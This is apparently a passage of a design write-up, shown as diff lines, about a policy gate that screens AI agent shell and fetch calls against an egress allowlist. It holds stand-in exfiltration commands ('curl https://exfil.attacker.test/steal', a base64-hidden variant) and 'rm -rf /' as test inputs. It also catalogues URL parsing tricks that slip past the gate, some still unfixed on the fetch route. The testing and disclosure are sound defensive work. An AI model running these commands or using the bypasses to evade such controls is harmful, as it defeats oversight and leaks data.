+{"jsonrpc":"2.0","id":1,"result":{"type":"final","acs_version":"0.1.0","request_id":"0a2f1c34-9d5e-4b71-8c62-1f0e7a5d3b91","decision":"deny","reasoning":"mapping.yaml reads tool \"WebFetch\"'s policy target from argument \"command\", but this call sent no such argument (it sent: url)","reason_codes":["evaluation_failed"],"policy_references":[]}} +``` + +A deny, and a benign call. So the honest split is: the gate is configuration, and the second tool +shape is code. + +## 2. The half that needs a Guardian + +A shell command's destination is not an argument. The wire carries `command` +(`curl https://exfil.attacker.test/steal`) and, since this slice, ACS's own `raw_command` beside +it — the verbatim command line, which ACS v0.1.0 has always typed and no hookmap declared until +now. + +**Why the gate cannot simply be pointed at the command line.** `host_of()` in +`policy/lib/egress.rego` has two branches, and both of them answer *something* for a whole command +line. Measured by calling the rule directly, through the OPA binary the pinned SDK ships: + +```bash +OPA=node_modules/.bun/agent-control-specification-opa-darwin-arm64@0.3.1-beta.0/node_modules/agent-control-specification-opa-darwin-arm64/bin/opa +for s in 'echo hi' 'ls -la /tmp' 'curl https://evil.test/x' 'curl https://docs.anthropic.com/x' 'curl https://docs.anthropic.com; ls'; do + out=$("$OPA" eval -d policy/lib/egress.rego -f raw "data.agt.egress.host_of(\"$s\")") + printf '%-46s -> %s\n' "host_of(\"$s\")" "\"$out\"" +done +``` + +``` +host_of("echo hi") -> "echo hi" +host_of("ls -la /tmp") -> "ls -la " +host_of("curl https://evil.test/x") -> "evil.test" +host_of("curl https://docs.anthropic.com/x") -> "docs.anthropic.com" +host_of("curl https://docs.anthropic.com; ls") -> "docs.anthropic.com; ls" +``` + +Against the shipped allowlist, only the fourth of those is allowed. Read them in order and the +three separate reasons extraction is a real step fall out. `split(url, "://")[1]` is everything +*after* the scheme, so a URL bounded by a `/` survives being embedded in a command — that is the +case that works, and it is the only one. The **second branch**, for strings containing no `://`, +returns the command's own leading word, so a forwarded command line *always* resolves a +destination; no allowlist pattern matches a command line, so every benign shell step would be +denied. And where nothing bounds the host on the right, trailing shell text is swallowed into it, +turning an allowlisted destination into a denial. + +So the Guardian extracts the first absolute http(s) URL out of `raw_command`, parses it, and +answers with its **origin** — scheme, host and port — at the gate's own last declared path. +`annotateEgressDestination` is the whole of that code, and it answers `{destination}` or `{}` — +never a throw, and never `null`. Why an origin rather than the URL as matched is §5's subject: an +origin cannot carry a userinfo, a query or a fragment, and each of those three is a shape +`host_of()` reads as part of the host. + +**The denied command.** + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":3,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"2c4f3e56-7b5a-4c83-8e94-3f2a9c7d5b13","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"Bash"},"arguments":{"command":{"value":"curl https://exfil.attacker.test/steal"}},"raw_command":"curl https://exfil.attacker.test/steal"}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 3, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "2c4f3e56-7b5a-4c83-8e94-3f2a9c7d5b13", + "decision": "deny", + "reasoning": "This step was decided by AGT's stock policy bundle. Policy: egress_destination_not_allowed, from AGT's stock bundle (agt_stock). AGT reported: destination exfil.attacker.test not in allowlist [\"*.anthropic.com\", \"docs.example.com\"].", + "reason_codes": [ + "egress_destination_not_allowed" + ], + "policy_references": [ + { + "policy_id": "agt_stock", + "rule_id": "egress_destination_not_allowed" + } + ] + } +} +``` + +Byte for byte the same `reasoning`, `reason_codes` and `policy_references` as the fetch above. Same +rule, different provenance. + +**The allowed command.** + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":4,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"3d5a4f67-6c4b-4d74-9fa5-4a3b8d6e2c24","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"Bash"},"arguments":{"command":{"value":"curl https://docs.anthropic.com/x"}},"raw_command":"curl https://docs.anthropic.com/x"}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 4, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "3d5a4f67-6c4b-4d74-9fa5-4a3b8d6e2c24", + "decision": "allow" + } +} +``` + +### The destination arriving at the gate's own declared path + +The two blocks above are decisions, and a decision is all the ACS wire carries. Taking on trust +that the destination reached the gate at the address the gate declares would be exactly the kind +of claim this repository does not make, so here is the policy input itself. + +**This section used a short script rather than `curl`, and that is stated here rather than +disguised.** `POST /acs` answers with an ACS decision; AGT's policy input is a different document, +and the bridge exposes it through `evaluateWithEvidence`, which the conformance harness uses and +the Guardian's own decision path does not. The script below builds the snapshot exactly the way +the Guardian's `evaluateStep` builds it — same mapping table, same argument resolution, same +assembler — and evaluates it through `createDeploymentBridge`, the one function `startGuardian` +itself calls to construct its bridge. Saved at the repo root and run with `bun run`: + +```ts +import { createDeploymentBridge } from "guardian/deployment"; +import { + assemblePreToolCallSnapshot, + createMemorySessionContextStore, + isToolCallRequest, + loadMapping, + resolveInterventionPoint, + resolvePolicyTargetArgument, + supplySourceLabels, + validateEnvelope, +} from "guardian"; + +const mapping = loadMapping("mapping.yaml"); +const bridge = createDeploymentBridge("policy/manifest.yaml"); +const store = createMemorySessionContextStore(); + +async function show(command: string): Promise { + const envelope = validateEnvelope({ + jsonrpc: "2.0", + id: 1, + method: "steps/toolCallRequest", + params: { + acs_version: "0.1.0", + request_id: "2c4f3e56-7b5a-4c83-8e94-3f2a9c7d5b13", + timestamp: "2026-08-18T00:00:00Z", + metadata: { agent_id: "demo", session_id: "5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75" }, + payload: { tool: { name: "Bash" }, arguments: { command: { value: command } }, raw_command: command }, + }, + }); + if (!isToolCallRequest(envelope)) throw new Error("not a tool-call request"); + + const point = resolveInterventionPoint(envelope.method, mapping); + const argument = resolvePolicyTargetArgument(mapping, point, envelope.params.payload.tool.name); + const snapshot = assemblePreToolCallSnapshot( + envelope, + supplySourceLabels(store, envelope.params.metadata.session_id), + argument, + ); + const evidence = await bridge.evaluateWithEvidence(point, snapshot); + const policyInput = evidence.policyInput as Record; + + console.log(`raw_command ${JSON.stringify(command)}`); + console.log(`input.annotations ${JSON.stringify(policyInput.annotations)}`); + console.log(`verdict ${JSON.stringify(evidence.verdict)}`); + console.log(""); +} + +await show("curl https://exfil.attacker.test/steal"); +await show("curl https://docs.anthropic.com/x"); +await show("curl https://metadata?x=@docs.anthropic.com"); +await show("curl https://docs.anthropic.com\\@evil.test/steal"); +await show("echo hi"); +``` + +Captured: + +``` +raw_command "curl https://exfil.attacker.test/steal" +input.annotations {"egress":{"destination":"https://exfil.attacker.test"}} +verdict {"decision":"deny","reason":"egress_destination_not_allowed","message":"destination exfil.attacker.test not in allowlist [\"*.anthropic.com\", \"docs.example.com\"]"} + +raw_command "curl https://docs.anthropic.com/x" +input.annotations {"egress":{"destination":"https://docs.anthropic.com"}} +verdict {"decision":"allow","result_labels":["public"]} + +raw_command "curl https://metadata?x=@docs.anthropic.com" +input.annotations {"egress":{"destination":"https://metadata"}} +verdict {"decision":"deny","reason":"egress_destination_not_allowed","message":"destination metadata not in allowlist [\"*.anthropic.com\", \"docs.example.com\"]"} + +raw_command "curl https://docs.anthropic.com\\@evil.test/steal" +input.annotations {"egress":{"destination":"https://unresolved.invalid"}} +verdict {"decision":"deny","reason":"egress_destination_not_allowed","message":"destination unresolved.invalid not in allowlist [\"*.anthropic.com\", \"docs.example.com\"]"} + +raw_command "echo hi" +input.annotations {"egress":{}} +verdict {"decision":"allow","result_labels":["public"]} + +``` + +Five things a reader can check here rather than believe. The destination lands at +`input.annotations.egress.destination` — one of the five entries in the `default_destination_paths` +array quoted at the top of this file, published by AGT and not invented on this side. What lands +there is an **origin**, not the command's URL: `https://exfil.attacker.test`, where the command +said `https://exfil.attacker.test/steal`. The verdict the gate reaches from it is the same verdict +the wire carried in the two `curl` captures above, `message` and all. The third row is one of the +shapes §5 is about — the command names `metadata`, trailed by an allowlisted name inside a query, +and what reaches the gate is `https://metadata`, which it denies. + +**The fourth row is the one to read twice, and §5 is entirely about it.** What lands at the +annotation path is not a host at all: it is `https://unresolved.invalid`, a name RFC 2606 reserves +so that it can never resolve and can never be legitimately allowlisted. The Guardian answers it +whenever it cannot tell which host a command line reaches, and the gate then denies — because the +one thing it must not do there is answer *nothing*. And the fifth row shows why that distinction +matters: a command with no destination in it annotates `{}`, the gate resolves nothing, and the +call **allows**. Silence at this path is an allow. Refusing has to be spelled. + +### What the manifest had to say for this to happen at all + +Two blocks in `policy/manifest.yaml`, and one property of them is worth stating because it is +counterintuitive and was measured rather than assumed: + +```yaml +annotators: + egress: + type: classifier +``` + +```yaml + annotations: + egress: + from: "$.tool_call.raw_command" +``` + +`from` is a **liveness precondition, not a projection.** AGT resolves that path before anything +else and denies the whole call on `runtime_error:path_missing` if it does not resolve — with the +annotator never dispatched. And the value it resolves is *not* what the annotator receives: the +dispatcher is handed AGT's entire preliminary policy input and reads the command out of it by +name. So the path has to name a snapshot member that is *always* present, which is why +`assemblePreToolCallSnapshot` writes `raw_command` on every request snapshot, as the empty string +when the wire carried none. A path that could be absent for some tool would make every call by +that tool a total deny. + +The same measurement is why the Guardian supplies its annotator dispatcher unconditionally: a +manifest that declares an annotator, evaluated by a bridge built without a dispatcher, answers +`deny runtime_error:annotation_failed` for `echo hi` as readily as for a `curl` — a total deny +wearing a runtime-error reason. + +## 3. The four gate classes on one leaf + +Both tools' policy targets are now copied into **one** synthetic snapshot leaf, +`tool_call.args.acs_policy_target`, because AGT's manifest schema gives an intervention point +exactly one `policy_target` and resolves it before any rule runs. That means a URL and a shell +command land in the same place, and rules written for one see the other. Whether that is safe had +to be measured, not assumed. + +Four of AGT's nine stock gate classes are live under the shipped `policy/lib/data.json`: `ifc`, +`patterns`, `redact`, and — as of this slice — `egress`. Six rows, all against the one committed +manifest and the one committed config, all on the same Guardian: + +| Tool | Policy target | Decision | `reason_codes` | +|---|---|---|---| +| `Bash` | `echo hi` | `allow` | *(none)* | +| `Bash` | `rm -rf /` | `deny` | `destructive_shell_command_blocked` | +| `Bash` | `curl https://exfil.attacker.test/steal` | `deny` | `egress_destination_not_allowed` | +| `Bash` | `curl https://docs.anthropic.com/x` | `allow` | *(none)* | +| `WebFetch` | `https://docs.anthropic.com/x` | `allow` | *(none)* | +| `WebFetch` | `https://exfil.attacker.test/steal` | `deny` | `egress_destination_not_allowed` | + +Four of the six are captured in full above. The two that are not: + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":5,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"4e6b5a78-5d3c-4e65-8ab6-5b4c7e5f3d35","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"Bash"},"arguments":{"command":{"value":"rm -rf /"}},"raw_command":"rm -rf /"}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 5, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "4e6b5a78-5d3c-4e65-8ab6-5b4c7e5f3d35", + "decision": "deny", + "reasoning": "This command was blocked because it matches a destructive-shell-command pattern. Policy: destructive_shell_command_blocked, from AGT's stock bundle (agt_stock). Matched at offset 0.", + "reason_codes": [ + "destructive_shell_command_blocked" + ], + "policy_references": [ + { + "policy_id": "agt_stock", + "rule_id": "destructive_shell_command_blocked" + } + ] + } +} +``` + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":6,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"5f7c6b89-4e2d-4f56-9bc7-6c5d8f4a2e46","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"Bash"},"arguments":{"command":{"value":"echo hi"}},"raw_command":"echo hi"}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 6, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "5f7c6b89-4e2d-4f56-9bc7-6c5d8f4a2e46", + "decision": "allow" + } +} +``` + +**No gate produced a false positive in either direction, in these six rows.** The +destructive-shell patterns did not fire on any of the four rows carrying a URL, and the egress gate +did not fire on either of the two shell commands carrying no destination. Stated as what was seen +rather than as a property: six rows against one configuration is a measurement, not a proof, and a +seventh input could still find a case where a URL matches a shell pattern or a command matches a +host glob. + +## 4. The redaction that used to land on the wrong argument + +AGT's `transform` names the leaf it rewrote by the literal `$policy_target`. ACS expresses that as +`modifications.parameter_overrides`, keyed by **argument name**. So the argument a policy target is +read *from* and the argument an override is written *to* are the same argument — and until this +slice, `mapping.yaml` declared them separately: `policy_target_argument` did not exist, and an +`into_argument: command` literal answered the second question for every tool. + +With one governed tool the two could not disagree. With two they can, and here is the disagreement, +run rather than described. `packages/guardian/src/map-verdict.ts` and `mapping.yaml` were taken +verbatim out of `be5ab38` — this slice's last commit before any code — and handed the real AGT +verdict this build produces for a `WebFetch` whose url carries a token: + +``` +AGT verdict {"decision":"transform","reason":"redaction_applied","transform":{"path":"$policy_target","value":"https://docs.anthropic.com/?t=[REDACTED]"}} +pre-slice mapVerdict + mapping {"decision":"modify","reasoning":"A secret in this command was replaced before it ran. Policy: redaction_applied, from AGT's stock bundle (agt_stock).","reason_codes":["redaction_applied"],"policy_references":[{"policy_id":"agt_stock","rule_id":"redaction_applied"}],"modifications":{"parameter_overrides":{"command":"https://docs.anthropic.com/?t=[REDACTED]"}}} +the url the tool would still send "https://docs.anthropic.com/?t=ghp_ABCDEF123456" +``` + +An override keyed by `command`, which `WebFetch` has no argument for, while `url` — still carrying +the token — is what the tool would have gone on to send. A modification reported applied while the +original is delivered. The captured line also carries the second half of the same defect: *"A +secret in this **command** was replaced"*, which is the sentence a model reads, about a fetch that +has no command. + +What ships now, captured: + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":7,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"6a8d7c9a-3f1e-4a67-8cd8-7d6e9a5b3f57","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"WebFetch"},"arguments":{"url":{"value":"https://docs.anthropic.com/?t=ghp_ABCDEF123456"}}}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 7, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "6a8d7c9a-3f1e-4a67-8cd8-7d6e9a5b3f57", + "decision": "modify", + "reasoning": "A secret in this step's arguments was replaced before it ran. Policy: redaction_applied, from AGT's stock bundle (agt_stock).", + "reason_codes": [ + "redaction_applied" + ], + "policy_references": [ + { + "policy_id": "agt_stock", + "rule_id": "redaction_applied" + } + ], + "modifications": { + "parameter_overrides": { + "url": "https://docs.anthropic.com/?t=[REDACTED]" + } + } + } +} +``` + +`parameter_overrides.url`, and no `command` key at all. The same declaration, read for the shell +tool, still produces the shell tool's own argument: + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":8,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"7b9e8daa-2a0f-4b78-9de9-8e7f0b6c4a68","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"Bash"},"arguments":{"command":{"value":"echo ghp_ABCDEF123456"}},"raw_command":"echo ghp_ABCDEF123456"}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 8, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "7b9e8daa-2a0f-4b78-9de9-8e7f0b6c4a68", + "decision": "modify", + "reasoning": "A secret in this step's arguments was replaced before it ran. Policy: redaction_applied, from AGT's stock bundle (agt_stock).", + "reason_codes": [ + "redaction_applied" + ], + "policy_references": [ + { + "policy_id": "agt_stock", + "rule_id": "redaction_applied" + } + ], + "modifications": { + "parameter_overrides": { + "command": "echo [REDACTED]" + } + } + } +} +``` + +One entry in `mapping.yaml`, read twice — once to tell the assembler which argument to copy into +the shared leaf, once to tell `mapVerdict` which argument to key the override by. Two declarations +of one fact are two things that can disagree; one cannot. + +Both of these rows also depend on the allowlist, and not obviously. AGT ranks an egress deny +**above** a redact transform, so a `docs.anthropic.com` URL only reaches the redact rule because +`*.anthropic.com` is in the allowlist. Narrow that entry and this section stops showing a +redaction and starts showing an egress deny. + +## 5. What this does not catch + +The demo's shape invites the reading that egress is now covered. It is not, and there are **three** +measured directions to state, not one. The first is the failure direction of the extractor: **a +command the extractor cannot parse is unexamined, not denied.** The two subsections after it are +the other two — a URL the *gate* mis-parses, which is worse than a miss, and the over-blocking this +allowlist produces on any shell command that merely mentions a URL. + +`destination(rules)` is `undefined` when none of the five declared paths resolves, so the gate +returns no verdict at all and the call falls through to the other gates. The extractor answers +`{}` rather than throwing, deliberately: AGT turns any annotator failure into +`runtime_error:annotation_failed`, which denies *every* call in the deployment, benign ones +included. A detector's misses are allows. + +Two commands that reach the same host the section-2 capture denied, both allowed: + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":9,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"8ca09ebb-1b10-4c89-8efa-9f801c7d5b79","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"Bash"},"arguments":{"command":{"value":"curl exfil.attacker.test/steal"}},"raw_command":"curl exfil.attacker.test/steal"}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 9, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "8ca09ebb-1b10-4c89-8efa-9f801c7d5b79", + "decision": "allow" + } +} +``` + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":10,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"9db1afcc-0c21-4d9a-9f0b-a0912d8e6c8a","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"Bash"},"arguments":{"command":{"value":"curl $(echo aHR0cHM6Ly9leGZpbC5hdHRhY2tlci50ZXN0L3N0ZWFs | base64 -d)"}},"raw_command":"curl $(echo aHR0cHM6Ly9leGZpbC5hdHRhY2tlci50ZXN0L3N0ZWFs | base64 -d)"}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 10, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "9db1afcc-0c21-4d9a-9f0b-a0912d8e6c8a", + "decision": "allow" + } +} +``` + +The first is not even obfuscation — `curl` supplies the scheme itself, and the extractor is +scheme-anchored on purpose: a bare-host pattern would match package names, file paths and flag +values, and every false positive there is a denial of a step nobody meant to govern. The second is +the base64 of the same URL the section-2 capture denied, and it decodes at run time to exactly +that string. Both are allowed, both would reach the host, and both are shown here rather than +asserted. + +### A URL the gate itself mis-parses — and only one of the two routes could be closed + +Everything above is the *extractor's* miss direction: a URL it never finds is a URL nobody decided +about. This is a different and worse class, and it is the single input that most undermines the +sentence at the top of this file. Here the extractor finds the URL exactly right, hands it over, +and **the gate mis-parses it**. A reader who has absorbed "misses are allows" still believes that a +URL which *reaches* the gate is decided about, and for this shape that belief is wrong. + +`host_of()` takes the substring after the scheme, cuts it at the first `/`, cuts *that* at the +first `:`, and calls what is left the host. A URL's userinfo sits before an `@` and may contain a +`:`. Measured, through the same OPA binary the block in section 2 used: + +```bash +OPA=node_modules/.bun/agent-control-specification-opa-darwin-arm64@0.3.1-beta.0/node_modules/agent-control-specification-opa-darwin-arm64/bin/opa +for u in 'https://exfil.attacker.test/steal' 'https://docs.anthropic.com@exfil.attacker.test/steal' 'https://docs.anthropic.com:pw@exfil.attacker.test/steal' 'https://evil.test?x=a@docs.anthropic.com' 'https://evil.test#a@docs.anthropic.com' 'https://metadata?x=@docs.anthropic.com' 'https://internal-api#@docs.anthropic.com'; do + out=$("$OPA" eval -d policy/lib/egress.rego -f raw "data.agt.egress.host_of(\"$u\")") + printf '%-63s -> %s\n' "host_of(\"$u\")" "\"$out\"" +done +``` + +``` +host_of("https://exfil.attacker.test/steal") -> "exfil.attacker.test" +host_of("https://docs.anthropic.com@exfil.attacker.test/steal") -> "docs.anthropic.com@exfil.attacker.test" +host_of("https://docs.anthropic.com:pw@exfil.attacker.test/steal") -> "docs.anthropic.com" +host_of("https://evil.test?x=a@docs.anthropic.com") -> "evil.test?x=a@docs.anthropic.com" +host_of("https://evil.test#a@docs.anthropic.com") -> "evil.test#a@docs.anthropic.com" +host_of("https://metadata?x=@docs.anthropic.com") -> "metadata?x=@docs.anthropic.com" +host_of("https://internal-api#@docs.anthropic.com") -> "internal-api#@docs.anthropic.com" +``` + +The third row is the whole finding. `docs.anthropic.com:pw@exfil.attacker.test` splits at the `:` +into `docs.anthropic.com`, which `*.anthropic.com` covers — so the gate allows a request that goes +to `exfil.attacker.test`. **This parser is AGT's**, in the vendored bundle `bun run verify:pin` +holds byte-identical; it is not this side's code and not a defect this deployment introduced. + +The last four rows are the same blind spot one step further out, and they are why the fix below is +a parse rather than another patch. RFC 3986 ends an authority at the first of `/`, **`?`** or +**`#`**; `host_of()` bounds at `/` alone, so it hands back a whole query string or fragment as the +host. Measured with `curl -w '%{url.host}'`, those four URLs resolve `evil.test`, `evil.test`, +`metadata` and `internal-api` respectively — never the allowlisted name trailing them. + +**Rows four and five deny; rows six and seven do not, and the difference is a single dot.** +The allowlist glob's `*` spans one dot-delimited segment. `evil.test?x=a@docs` `anthropic` `com` is +four segments against `*.anthropic.com`'s three, so it fails to match and the call denies. But +`metadata?x=@docs` `anthropic` `com` is exactly three — the `*` swallows the whole +`metadata?x=@docs` segment, the pattern matches, and the call is **allowed**. Measured, before the +fix below, on both routes. Dotless hosts are internal names — `metadata`, `internal-api` — which is +precisely the class an egress gate is deployed for, so this is the shape that matters most and the +one that looks least alarming. + +#### Three parsers, three answers, and why the shell route stopped trying to compute one + +The rows above are all `host_of()`'s blind spots, and for a while the fix for them was to hand +`host_of()` a value it could not misread: a parsed **origin**, which cannot carry a userinfo, a +query or a fragment. That closed all seven. It also introduced a shape none of the earlier rounds +had allowed — the first time this deployment answered an **allowlisted** host for a destination that +was not allowlisted. + +A backslash is the whole of it. Three parsers see `https://docs.anthropic.com\@evil.test/steal` +three different ways: + +```bash +OPA=node_modules/.bun/agent-control-specification-opa-darwin-arm64@0.3.1-beta.0/node_modules/agent-control-specification-opa-darwin-arm64/bin/opa +U='https://docs.anthropic.com\@evil.test/steal' +printf 'WHATWG new URL(...).origin %s\n' "$(bun -e 'console.log(new URL(process.argv[1]).origin)' "$U")" +printf 'AGT host_of(...) %s\n' "$(jq -cn --arg u "$U" '{u:$u}' | "$OPA" eval -d policy/lib/egress.rego -I -f raw 'data.agt.egress.host_of(input.u)')" +printf 'curl, after the shell %s\n' "$(curl -s -o /dev/null --proxy http://127.0.0.1:1 -w '%{url.host}' $U)" +``` + +``` +WHATWG new URL(...).origin https://docs.anthropic.com +AGT host_of(...) docs.anthropic.com\@evil.test +curl, after the shell evil.test +``` + +Read the third line's command carefully: `$U` is **unquoted**, so bash removes the backslash before +`curl` is invoked — which is exactly what happens when an agent runs the command. `--proxy +http://127.0.0.1:1` points curl at a port nothing listens on, so this is curl's own parse of the URL +and **no request leaves the machine**; `%{url.host}` is filled in before any connection is +attempted. + +So a WHATWG parse answers the allowlisted `docs.anthropic.com`, because WHATWG treats `\` as `/` in +a special scheme and ends the authority there. `curl` treats `\` as an ordinary host character and +never sees it anyway. **The destination reached is `evil.test`, and the annotation said +`docs.anthropic.com`.** + +There is no delimiter rule that repairs this, and that is the finding rather than the bug. +Computing "the host this command will reach" from a **pre-shell** command line requires a shell +parser and curl's parser, and the Guardian has neither. Four rounds of trying produced four +different bypasses. + +**So the shell route stopped computing and started refusing.** The annotator now recognises only the +authority shapes on which no parser could disagree — a plain host, an optional numeric port, ending +at `/`, `?`, `#` or the end of the token — and answers everything else with +`https://unresolved.invalid`, the RFC 2606 reserved name from §2's fourth row. The gate denies it, +because no allowlist can cover it. + +The half of that which is easy to get wrong: **answering `{}` for an ambiguous input would be an +allow.** With no destination the gate resolves nothing, is undefined, and the call falls through. +`{}` is kept only where the command carries no URL at all — "no opinion" — never where the module +cannot tell. + +**The blocks in this subsection and the next were captured after the rest of this file**, against a +Guardian started the same way from commit `ca4aa2e` of this tree, on **port 8801** rather than 8791 +— a fresh process on its own port, for the same reason the setup section names a port at all. +Substitute whichever port your own Guardian printed. + +```bash +ACS=http://localhost:8801/acs +ask() { # ask + jq -cn --arg r "$1" --argjson p "$2" '{jsonrpc:"2.0",id:1,method:"steps/toolCallRequest",params:{ + acs_version:"0.1.0",request_id:$r,timestamp:"2026-08-18T00:00:00Z", + metadata:{agent_id:"demo",session_id:"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},payload:$p}}' | + curl -s -X POST "$ACS" -H 'content-type: application/json' -d @- | jq -r '.result.decision' +} +n=0 +for u in 'https://exfil.attacker.test/steal' \ + 'https://docs.anthropic.com@exfil.attacker.test/steal' \ + 'https://docs.anthropic.com:pw@exfil.attacker.test/steal' \ + 'https://evil.test?x=a@docs.anthropic.com' \ + 'https://evil.test#a@docs.anthropic.com' \ + 'https://metadata?x=@docs.anthropic.com' \ + 'https://internal-api#@docs.anthropic.com' \ + 'https://evil?x=@docs.anthropic.com' \ + 'https://docs.anthropic.com\@evil.test/steal' \ + 'https://docs.example.com\@exfil.attacker.test/steal' \ + 'https://docs.anthropic%2ecom/x' \ + 'https://EVIL.TEST/x' \ + 'https://docs.anthropic.com.evil.test/x' \ + 'https://evil.test:8443/x' \ + 'https://docs.anthropic.com/x' \ + 'https://DOCS.ANTHROPIC.COM/x' \ + 'https://docs.anthropic.com:443/x' \ + 'https://docs.example.com/y'; do + n=$((n+1)) + fetch=$(ask "e0000000-0000-4000-8000-$(printf '%012d' $n)" "$(jq -cn --arg u "$u" '{tool:{name:"WebFetch"},arguments:{url:{value:$u}}}')") + shell=$(ask "e0000000-0000-4000-8000-$(printf '%012d' $((100+n)))" "$(jq -cn --arg u "$u" '{tool:{name:"Bash"},arguments:{command:{value:("curl "+$u)}},raw_command:("curl "+$u)}')") + printf '%-55s fetch: %-5s | shell: %s\n' "$u" "$fetch" "$shell" +done +``` + +``` +https://exfil.attacker.test/steal fetch: deny | shell: deny +https://docs.anthropic.com@exfil.attacker.test/steal fetch: deny | shell: deny +https://docs.anthropic.com:pw@exfil.attacker.test/steal fetch: allow | shell: deny +https://evil.test?x=a@docs.anthropic.com fetch: deny | shell: deny +https://evil.test#a@docs.anthropic.com fetch: deny | shell: deny +https://metadata?x=@docs.anthropic.com fetch: allow | shell: deny +https://internal-api#@docs.anthropic.com fetch: allow | shell: deny +https://evil?x=@docs.anthropic.com fetch: allow | shell: deny +https://docs.anthropic.com\@evil.test/steal fetch: deny | shell: deny +https://docs.example.com\@exfil.attacker.test/steal fetch: deny | shell: deny +https://docs.anthropic%2ecom/x fetch: deny | shell: deny +https://EVIL.TEST/x fetch: deny | shell: deny +https://docs.anthropic.com.evil.test/x fetch: deny | shell: deny +https://evil.test:8443/x fetch: deny | shell: deny +https://docs.anthropic.com/x fetch: allow | shell: allow +https://DOCS.ANTHROPIC.COM/x fetch: deny | shell: allow +https://docs.anthropic.com:443/x fetch: allow | shell: allow +https://docs.example.com/y fetch: allow | shell: allow +``` + +**Fourteen adversarial shapes and four allowlisted controls. The shell route denies every one of the +fourteen and allows all four controls. The fetch route allows four of the fourteen.** + +**The two routes are not symmetric, and after this change the shell route is the stricter of the +two.** A reader who takes "one gate, two routes" to mean the two routes decide alike is reading +something this file does not claim. The four rows that read `fetch: allow` are destinations that go +somewhere the allowlist does not cover — `exfil.attacker.test`, `metadata`, `internal-api` and +`evil` respectively, measured with `curl -w '%{url.host}'` — and there is nothing on that route to +close them with. + +On the shell route, the Guardian *chooses* the string it hands the gate: `raw_command` is a command +line, and `annotateEgressDestination` decides what destination to answer with. On the fetch route +there is no such seam. `args.url` is the **first** entry in the gate's own +`default_destination_paths` — the same property section 1 celebrates as costing no code — so the +tool's argument reaches `host_of()` with nothing in between. Correcting the parse would mean +editing `policy/lib/egress.rego`, and *not editing a `.rego`* is this slice's central claim, held +mechanically by `bun run verify:pin`. So the fetch half is published rather than fixed. A fetch tool +is the likelier route to a URL an attacker supplied, which is worth saying plainly rather than +leaving to be inferred from a column. + +The verdict on the shell route, in full, for the shape that produced this round: + +```bash +curl -s -X POST http://localhost:8801/acs \ + -H 'content-type: application/json' \ + -d 